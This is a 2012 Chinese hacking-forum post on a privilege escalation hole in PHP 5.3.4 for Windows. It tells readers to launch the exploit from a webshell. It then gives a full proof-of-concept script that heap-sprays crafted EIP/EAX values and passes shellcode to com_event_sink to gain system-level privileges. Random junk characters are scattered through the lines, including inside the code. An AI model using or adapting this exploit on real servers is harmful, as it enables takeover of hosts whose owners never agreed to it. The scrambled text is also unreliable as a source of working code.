找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2270|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
* r! z0 `6 z- Z# W( l2 L& o) ?8 q2 L/ ^, y% T0 }
测试方法如下:cmd /c x:\php\php.exe x:\test.php
/ V8 d$ n3 k4 w% p
. n( P1 Y7 K3 E4 r! Q% f下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
- M9 I5 L4 {7 T! w$ {9 `这里是两个测试的截图:- _3 j; a2 k8 N+ c

) K+ @: p0 [/ A$ q! ~) X/ D4 `6 R

& g( n+ e8 e6 Y, J) z) O$ V! g6 o
* ?. e2 a1 s2 @3 @1 D$ b: J" M) H2 ^1 B% c  a% X! m+ _! {
成功利用此漏洞的攻击者将获得系统的最高权限/ A' a# S( P3 A/ l% Z! E
  w+ c8 x* E5 ~. d. C0 a

/ H- l6 e2 [2 ^# {# X+ f1 _7 E% m; w: n

: J' H  N2 u( f5 t; _% I2 t" i. L# E+ J& w7 q
关于漏洞分析稍后附上。一下是PoC代码:. f3 N5 w. ^% i# u
3 e1 |# T9 r! L# W
<?php
0 `' {3 j  w& S0 U% D3 v//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
% t# X8 O' u# W  O: U9 z4 ~//$eip ="\x44\x43\x42\x41";
' Q- C) x- E, ]& Y8 V9 Y# P7 L$eip= "\x4b\xe8\x57\x78";
8 \; w' J6 W3 m0 L/ Y5 v+ a* _$eax ="\x80\x01\x8d\x04";
0 {; ~6 z8 F& B7 n' X9 d+ I$deodrant="";) Q( F8 a' [; g3 i- h' Y
$axespray = str_repeat($eip.$eax,0x80);% \. l7 |- y' a1 ]9 F+ x  c
//048d01909 r) W& y; m3 C
echo strlen($axespray);, i/ Y0 D6 k7 W. X
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
6 V5 E3 p' b' W2 `: ]echo "Silic Group Hacker Army - BlackBap.Org";
4 ]0 J0 q+ q/ K0 O# r5 s//19200 ==4B32 4b00) `' l  _% \3 I! I: h+ b
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}5 P& n! s" d0 ]; W+ M8 D
$terminate = "T";
* s2 ^) Q7 c+ s6 V; B* z$u[] =$deodrant;
6 T2 E& F# c& n  _2 H  U2 o+ L3 _8 O$r[] =$deodrant.$terminate;$ d* @; M/ G( n. r. \
$a[] =$deodrant.$terminate;
+ _; j$ C, k. e- F7 J$s[] =$deodrant.$terminate;6 v7 G) w0 Q% F7 ^% z2 _4 ?* X
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
+ K; i! d) s% f$ R  o$vVar = new VARIANT(0x048d0000+180);) ?! V# R, M, }8 r
//弹窗代码(Shellcode)
! m/ o( C6 B0 m% |- Z. t; O5 \$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
" J# y9 U' P0 a( k$ W3 d$var2 = new VARIANT(0x41414242);
) r/ l7 A# x! jcom_event_sink($vVar,$var2,$buffer);
9 L0 J% m6 ]. O4 o' l?>
9 F" O* h2 u- j+ t8 x

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表